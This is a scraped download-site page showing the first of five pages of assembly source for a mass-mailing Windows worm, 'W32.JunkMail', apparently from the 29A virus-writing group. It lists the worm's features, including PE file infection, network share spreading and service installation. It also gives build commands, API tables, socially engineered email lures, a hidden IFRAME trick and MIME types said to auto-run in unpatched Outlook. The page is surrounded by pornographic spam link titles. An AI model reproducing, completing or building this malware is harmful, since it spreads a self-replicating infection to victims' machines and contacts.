亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 29a-7.005

?? 從29A上收集的病毒源碼
?? 005
?? 第 1 頁 / 共 5 頁
字號:

comment ;)
W32.JunkMail by roy g biv / RT Fishel

some of its features:
- parasitic resident (own process) infector of PE exe (but not looking at suffix)
- infects files in all directories on all fixed and network drives and network shares
- directory traversal is linked-list instead of recursive to reduce stack size
- enumerates shares on local network and also random IP addresses
- reloc section inserter/last section appender
- runs as service in NT/2000/XP and service process in 9x/Me
- hooks all executable shell\open\command values
- slow mailer using polymorphic mail headers and transport (text/OLE2/binary)
- auto function type selection (Unicode under NT/2000/XP, ANSI under 9x/Me)
- uses CRCs instead of API names
- uses SEH for common code exit
- section attributes are never altered (virus is self-modifying but runs in writable memory)
- no infect files with data outside of image (eg self-extractors)
- infected files are padded by random amounts to confuse tail scanners
- uses SEH walker to find kernel address (no hard-coded addresses)
- correct file checksum without using imagehlp.dll :) 100% correct algorithm
- plus some new code optimisations that were never seen before W32.EfishNC :)

yes, just a W32.EfishNC remake with SMTP client engine
---

  optimisation tip: Windows appends ".dll" automatically, so this works:
        push "cfs"
        push esp
        call LoadLibraryA
---

to build this thing:
tasm
----
tasm32 /ml /m3 junkmail
tlink32 /B:400000 /x junkmail,,,import32

Virus is not self-modifying, so no need to alter section attributes
---

We're in the middle of a phase transition:
a butterfly flapping its wings at
just the right moment could
cause a storm to happen.
-I'm trying to understand-
I'm at a moment in my life-
I don't know where to flap my wings.
(Danny Hillis)

(;

.486
.model  flat

extern  GlobalAlloc:proc
extern  CreateFileA:proc
extern  GetFileSize:proc
extern  GetModuleFileNameA:proc
extern  ReadFile:proc
extern  WriteFile:proc
extern  CloseHandle:proc
extern  GlobalFree:proc
extern  GetCurrentProcess:proc
extern  WriteProcessMemory:proc
extern  MessageBoxA:proc
extern  ExitProcess:proc

.data

;to alter the text here, set compress_only to not-zero then run
;in that case, the compressed text is written to a file only

compress_only   equ     0

ife compress_only

;must be reverse alphabetical order because they are stored on stack
;API names are not present in replications, only in dropper

expnames        db      "WriteFile"           , 0
                db      "WinExec"             , 0
                db      "SetFileAttributesA"  , 0
                db      "MoveFileA"           , 0
                db      "LoadLibraryA"        , 0
                db      "GlobalFree"          , 0
                db      "GlobalAlloc"         , 0
                db      "GetWindowsDirectoryA", 0
                db      "GetTickCount"        , 0
                db      "GetTempFileNameA"    , 0
                db      "GetFileAttributesA"  , 0
                db      "GetCurrentProcess"   , 0
                db      "DeleteFileA"         , 0
                db      "CreateFileA"         , 0
                db      "CloseHandle"         , 0

regnames        db      "RegSetValueA"      , 0
                db      "OpenSCManagerA"    , 0
                db      "CreateServiceA"    , 0
                db      "CloseServiceHandle", 0

exenames        db      "LoadLibraryA"   , 0
                db      "GlobalAlloc"    , 0
                db      "GetVersion"     , 0
                db      "GetTickCount"   , 0
                db      "GetStartupInfoW", 0
                db      "GetStartupInfoA", 0
                db      "GetCommandLineW", 0
                db      "GetCommandLineA", 0
                db      "ExitProcess"    , 0
                db      "CreateProcessW" , 0
                db      "CreateProcessA" , 0

usrnames        db      "CharNextW", 0
                db      "CharNextA", 0

svcnames        db      "StartServiceCtrlDispatcherA", 0

krnnames        db      "lstrlenW"                 , 0
                db      "lstrcpyW"                 , 0
                db      "lstrcatW"                 , 0
                db      "UnmapViewOfFile"          , 0
                db      "Sleep"                    , 0
                db      "SetFileTime"              , 0
                db      "SetFileAttributesW"       , 0
                db      "SetFileAttributesA"       , 0
                db      "SetCurrentDirectoryW"     , 0
                db      "SetCurrentDirectoryA"     , 0
                db      "ReadFile"                 , 0
                db      "MultiByteToWideChar"      , 0
                db      "MapViewOfFile"            , 0
                db      "LoadLibraryA"             , 0
                db      "GlobalFree"               , 0
                db      "GlobalAlloc"              , 0
                db      "GetVersion"               , 0
                db      "GetTickCount"             , 0
                db      "GetModuleFileNameA"       , 0
                db      "GetFullPathNameW"         , 0
                db      "GetFullPathNameA"         , 0
                db      "GetFileSize"              , 0
                db      "GetDriveTypeA"            , 0
                db      "FindNextFileW"            , 0
                db      "FindNextFileA"            , 0
                db      "FindFirstFileW"           , 0
                db      "FindFirstFileA"           , 0
                db      "FindClose"                , 0
                db      "CreateThread"             , 0
                db      "CreateFileW"              , 0
                db      "CreateFileMappingA"       , 0
                db      "CreateFileA"              , 0
                db      "CloseHandle"              , 0

sfcnames        db      "SfcIsFileProtected", 0

ws2names        db      "socket"       , 0
                db      "send"         , 0
                db      "gethostbyname", 0
                db      "connect"      , 0
                db      "WSAStartup"   , 0

netnames        db      "WNetOpenEnumW"    , 0
                db      "WNetOpenEnumA"    , 0
                db      "WNetEnumResourceW", 0
                db      "WNetEnumResourceA", 0
                db      "WNetCloseEnum"    , 0

ip9xnames       db      "NetShareEnum", 0

ipntnames       db      "NetShareEnum"    , 0
                db      "NetApiBufferFree", 0

endif

;only 0dh is required for new line, since 0ah is appended by decompressor

user1           equ     ' '
user2           equ     '-'
user3           equ     '/'                     ;the three most frequent characters

ourcid          equ     "EMAIL"                 ;something that users will open

smtp1           db      offset smtp2 - offset $ - 2, "HELO ", 0
smtp2           db      offset smtp3 - offset $ - 2, "MAIL FROM:<>", 0dh, 0
smtp3           db      offset smtp4 - offset $ - 2, "RCPT TO:", 0
smtp4           db      offset header1 - offset $ - 2, "DATA", 0dh, 0
header1         db      offset header2 - offset $ - 2, "FROM: ", 0
header2         db      offset subject1 - offset $ - 2, "SUBJECT: ", 0

;-----------------------------------------------------------------------------
;e-mail subject texts
;high bit set for list of phrases from which to choose randomly
;other bits are number of entries in list
;-----------------------------------------------------------------------------

subject1        db      83h
                db      offset subject1b - offset $ - 1, "Does this belong to you"
subject1b       db      offset subject1c - offset $ - 1, "Do you own this file"
subject1c       db      offset subject1d - offset $ - 1, "Is this your file"
subject1d       equ     $

subject2        db      offset subject2b - offset $ - 1, " - "
subject2b       db      0

header31        db      offset header32 - offset $ - 2, ".ZIP", 0dh, "MIME-VERSION:", 0
header32        db      offset part11 - offset $ - 2, "1.0", 0
part11          db      offset part12 - offset $ - 2, "CONTENT-TYPE:", 0
part12          db      offset part13 - offset $ - 2, "MULTIPART/MIXED;", 0
part13          db      offset body1 - offset $ - 2, " BOUNDARY=", 0

;-----------------------------------------------------------------------------
;e-mail body texts
;high bit set for list of phrases from which to choose randomly
;other bits are number of entries in list
;-----------------------------------------------------------------------------

body1           db      offset body2 - offset $ - 1
                db      0dh, "I received this file from you yesterday "

body2           db      83h
                db      offset body2b - offset $ - 1, "afternoon"
body2b          db      offset body2c - offset $ - 1, "evening"
body2c          db      offset body2d - offset $ - 1, "morning"
body2d          equ     $

body3           db      offset body4 - offset $ - 1
                db      ".", 0dh, "I think it was sent without you knowing by the "

body4           db      87h
                db      offset body4b - offset $ - 1, "Aliz"
body4b          db      offset body4c - offset $ - 1, "Badtrans"
body4c          db      offset body4d - offset $ - 1, "Goner"
body4d          db      offset body4e - offset $ - 1, "Klez"
body4e          db      offset body4f - offset $ - 1, "Magistr"
body4f          db      offset body4g - offset $ - 1, "Nimda"
body4g          db      offset body4h - offset $ - 1, "Sircam"
body4h          equ     $

body5           db      offset body6 - offset $ - 1, " "

body6           db      83h
                db      offset body6b - offset $ - 1, "trojan"
body6b          db      offset body6c - offset $ - 1, "virus"
body6c          db      offset body6d - offset $ - 1, "worm"
body6d          equ     $

body7           db      offset body8 - offset $ - 1, ".", 0dh
                db      "The filename was "

;be careful here: remember that line length is 76 characters

body8           db      83h
                db      offset body8b - offset $ - 1, "alter"
body8b          db      offset body8c - offset $ - 1, "chang"
body8c          db      offset body8d - offset $ - 1, "replac"
body8d          equ     $

body9           db      offset bodya - offset $ - 1
                db      "ed but it looked like an important "

bodya           db      85h
                db      offset bodyab - offset $ - 1, "database"
bodyab          db      offset bodyac - offset $ - 1, "document"
bodyac          db      offset bodyad - offset $ - 1, "picture"
bodyad          db      offset bodyae - offset $ - 1, "spredsheet" ;reduce size
bodyae          db      offset bodyaf - offset $ - 1, "video"
bodyaf          equ     $

bodyb           db      offset bodyc - offset $ - 1
                db      " inside.", 0dh, "You should look at this file to see what it is.", 0dh
bodyc           db      offset bodyd - offset $ - 1
                db      "The attachment might open automatically. This is normal behaviour.", 0dh
bodyd           db      offset bodye - offset $ - 1
                db      "If you see a prompt to Open or Save the email then choose Open.", 0dh
bodye           db      offset bodyf - offset $ - 1
                db      "If the attachment is blocked by Outlook 2002 then see", 0dh
bodyf           db      offset bodyg - offset $ - 1
                db      "http://support.microsoft.com/support/kb/articles/q290/4/97.asp", 0dh
bodyg           db      0
part21          db      offset part22 - offset $ - 2, "TEXT/HTML", 0
part22          db      offset part23 - offset $ - 2, 0dh, "CONTENT-TRANSFER-ENCODING:", 0
part23          db      offset part24 - offset $ - 2, "QUOTED-PRINTABLE", 0
part24          db      offset content - offset $ - 2, 0dh, 0dh, "<IFRAME SRC=CID:", ourcid, " WIDTH=0>", 0

;-----------------------------------------------------------------------------
;these types open without prompt in unpatched Outlook
;-----------------------------------------------------------------------------

content         db      9bh                     ;total of exploited, CIDs, and not-exploited types
                db      offset autorunb - offset $ - 1, "APPLICATION/X-MPLAYER2;"
autorunb        db      offset autorunc - offset $ - 1, "AUDIO/AIFF;"
autorunc        db      offset autorund - offset $ - 1, "AUDIO/MID;"
autorund        db      offset autorune - offset $ - 1, "AUDIO/MIDI;"
autorune        db      offset autorunf - offset $ - 1, "AUDIO/MPEG;"
autorunf        db      offset autorung - offset $ - 1, "AUDIO/X-MID;"
autorung        db      offset autorunh - offset $ - 1, "AUDIO/X-MIDI;"
autorunh        db      offset autoruni - offset $ - 1, "AUDIO/X-MPEGURL;"
autoruni        db      offset autorunj - offset $ - 1, "AUDIO/X-MS-WAX;"
autorunj        db      offset autorunk - offset $ - 1, "AUDIO/X-MS-WMA;"
autorunk        db      offset autorunl - offset $ - 1, "AUDIO/X-WAV;"
autorunl        db      offset autorunm - offset $ - 1, "MIDI/MID;"
autorunm        db      offset autorunn - offset $ - 1, "VIDEO/MSVIDEO;"
autorunn        db      offset autoruno - offset $ - 1, "VIDEO/QUICKTIME;"
autoruno        db      offset autorunp - offset $ - 1, "VIDEO/X-IVF;"
autorunp        db      offset autorunq - offset $ - 1, "VIDEO/X-MPEG;"
autorunq        db      offset autorunr - offset $ - 1, "VIDEO/X-MPEG2A;"
autorunr        db      offset autoruns - offset $ - 1, "VIDEO/X-MS-ASF;"
autoruns        db      offset autorunt - offset $ - 1, "VIDEO/X-MS-ASF-PLUGIN;"
autorunt        db      offset autorunu - offset $ - 1, "VIDEO/X-MS-WM;"
autorunu        db      offset autorunv - offset $ - 1, "VIDEO/X-MS-WMV;"
autorunv        db      offset autorunw - offset $ - 1, "VIDEO/X-MS-WVX;"
autorunw        equ     $

;-----------------------------------------------------------------------------
;these are types that display the CID instead of the filename,
;so using a good choice for CID (eg email) will make many users open it
;-----------------------------------------------------------------------------

                db      offset usecidb - offset $ - 1, "APPLICATION/FUTURESPLASH;"
usecidb         db      offset usecidc - offset $ - 1, "APPLICATION/HTA;"
usecidc         db      offset usecidd - offset $ - 1, "APPLICATION/X-SHOCKWAVE-FLASH;"
usecidd         db      offset usecide - offset $ - 1, "TEXT/X-SCRIPTLET;"

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美日韩精品一区视频| 久久久久久久久久久久电影| 人禽交欧美网站| 亚洲一区二区欧美| 亚洲日本电影在线| 国产精品国产a| 国产精品久久久久7777按摩| 亚洲欧洲日产国产综合网| 亚洲精品免费视频| 欧美成va人片在线观看| 日韩视频一区二区| 久久众筹精品私拍模特| 2022国产精品视频| 久久精品男人的天堂| 国产情人综合久久777777| 久久久久国产成人精品亚洲午夜| xvideos.蜜桃一区二区| 久久久久成人黄色影片| 国产清纯白嫩初高生在线观看91 | 日韩精品一二三| 日韩在线播放一区二区| 日本在线观看不卡视频| 国产麻豆视频一区| 成人黄色在线看| 99精品久久99久久久久| 91久久精品网| 日韩久久精品一区| 国产精品你懂的| 亚洲午夜在线视频| 韩国午夜理伦三级不卡影院| 国产成人自拍网| 91福利在线免费观看| 日韩一区二区三区电影在线观看| 久久综合中文字幕| 一区二区三区高清| 精品在线视频一区| 91免费版在线看| 日韩一级黄色片| 国产精品久久午夜| 日韩精品欧美成人高清一区二区| 精品一区二区三区香蕉蜜桃 | 东方欧美亚洲色图在线| 91视频一区二区| 日韩一级片在线观看| 国产三级精品三级| 亚洲线精品一区二区三区八戒| 精品系列免费在线观看| 色综合天天做天天爱| 精品久久久久久无| 夜夜夜精品看看| 国产99精品在线观看| 欧美美女网站色| 国产精品少妇自拍| 久久精品国产99久久6| 91农村精品一区二区在线| 精品久久久久久久一区二区蜜臀| 亚洲你懂的在线视频| 国产成人99久久亚洲综合精品| 欧美三级电影一区| 亚洲视频在线观看一区| 国产精品亚洲视频| 日韩一区二区三区高清免费看看| 一区二区三区精品在线观看| 国产jizzjizz一区二区| 日韩欧美资源站| 亚洲福中文字幕伊人影院| www.在线欧美| 久久精品男人天堂av| 久久精品久久99精品久久| 欧美日韩国产免费| 亚洲一二三四久久| 99久久精品99国产精品| 中文字幕av一区 二区| 国产在线一区二区综合免费视频| 欧美精品在欧美一区二区少妇| 综合久久国产九一剧情麻豆| 99视频在线观看一区三区| 国产婷婷色一区二区三区| 麻豆91在线播放免费| 中文字幕中文字幕中文字幕亚洲无线 | 在线成人午夜影院| 日本不卡的三区四区五区| 亚洲成人精品影院| 青青草伊人久久| 成人激情午夜影院| 欧美一区二区三区婷婷月色| 精品国产a毛片| 一区二区三区蜜桃网| 麻豆一区二区99久久久久| 欧美亚洲综合久久| 国产精品夜夜嗨| 日韩欧美亚洲国产另类| 日本成人在线电影网| 91精品综合久久久久久| 蜜芽一区二区三区| 日韩欧美专区在线| 国产激情一区二区三区| 中文av一区特黄| 一本色道综合亚洲| 一区二区三区产品免费精品久久75| 色婷婷久久99综合精品jk白丝 | 久久综合国产精品| 国产99久久久国产精品 | 99久久精品国产一区二区三区| 中文字幕亚洲区| 欧美亚洲日本国产| 激情欧美一区二区三区在线观看| 久久综合中文字幕| 97久久精品人人做人人爽50路| 亚洲自拍偷拍av| 精品国产凹凸成av人网站| www.成人在线| 亚洲va国产天堂va久久en| 久久一二三国产| 91电影在线观看| 国产乱人伦偷精品视频不卡 | 91精品婷婷国产综合久久竹菊| 日本不卡一区二区三区| 国产精品视频在线看| 欧美一级夜夜爽| 91在线观看下载| 国产尤物一区二区在线| 亚洲第一主播视频| 国产精品五月天| 精品国产麻豆免费人成网站| 色菇凉天天综合网| 国产99久久久精品| 免费观看在线色综合| 亚洲精品国产高清久久伦理二区| 欧美成人一区二区| 欧美日韩在线精品一区二区三区激情| 国产精品亚洲人在线观看| 日韩福利视频导航| 亚洲一区二区三区影院| 亚洲国产精品av| 久久五月婷婷丁香社区| 91精品在线麻豆| 欧美日韩亚洲丝袜制服| av中文字幕在线不卡| 麻豆国产精品视频| 亚洲国产裸拍裸体视频在线观看乱了 | 日韩一区二区三区视频| 六月婷婷色综合| 日韩高清一区在线| 亚洲欧洲日韩女同| 精品国产免费一区二区三区香蕉| 99国产欧美久久久精品| 成人综合婷婷国产精品久久| 香港成人在线视频| 国产精品第13页| 久久久久久久性| 欧美日韩国产中文| 欧美三级日韩三级| 91丨九色丨黑人外教| 国产高清一区日本| 日本不卡在线视频| 麻豆91免费观看| 亚洲成a人v欧美综合天堂下载| 国产精品久久久久久久蜜臀| 欧美成人欧美edvon| 国产精品一区二区久久不卡 | 日韩欧美一区二区免费| 91久久国产最好的精华液| 处破女av一区二区| jlzzjlzz亚洲女人18| 国产精品77777| 捆绑调教美女网站视频一区| 午夜精品免费在线| 亚洲乱码国产乱码精品精98午夜| 亚洲欧美一区二区久久| 自拍偷拍亚洲综合| 国产精品国产三级国产专播品爱网 | 欧美无砖砖区免费| 欧美另类变人与禽xxxxx| 欧美日韩一级二级三级| 欧美色偷偷大香| 欧美日韩亚洲综合在线| 日韩欧美亚洲一区二区| 日韩欧美高清一区| 日韩视频中午一区| 2017欧美狠狠色| 欧美午夜一区二区三区| 日韩美女主播在线视频一区二区三区| 欧美日韩免费观看一区二区三区| 欧美性色黄大片| 在线视频一区二区三区| 26uuu久久天堂性欧美| 久久伊人蜜桃av一区二区| 中文av一区特黄| 久久久不卡网国产精品二区| 一区二区视频免费在线观看| 一区二区三区自拍| 日本欧美在线看| 国产自产高清不卡| 欧美无砖专区一中文字| 欧美一级生活片| 国产嫩草影院久久久久| 国产精品欧美久久久久一区二区| 亚洲国产精品一区二区尤物区| 日韩和欧美一区二区|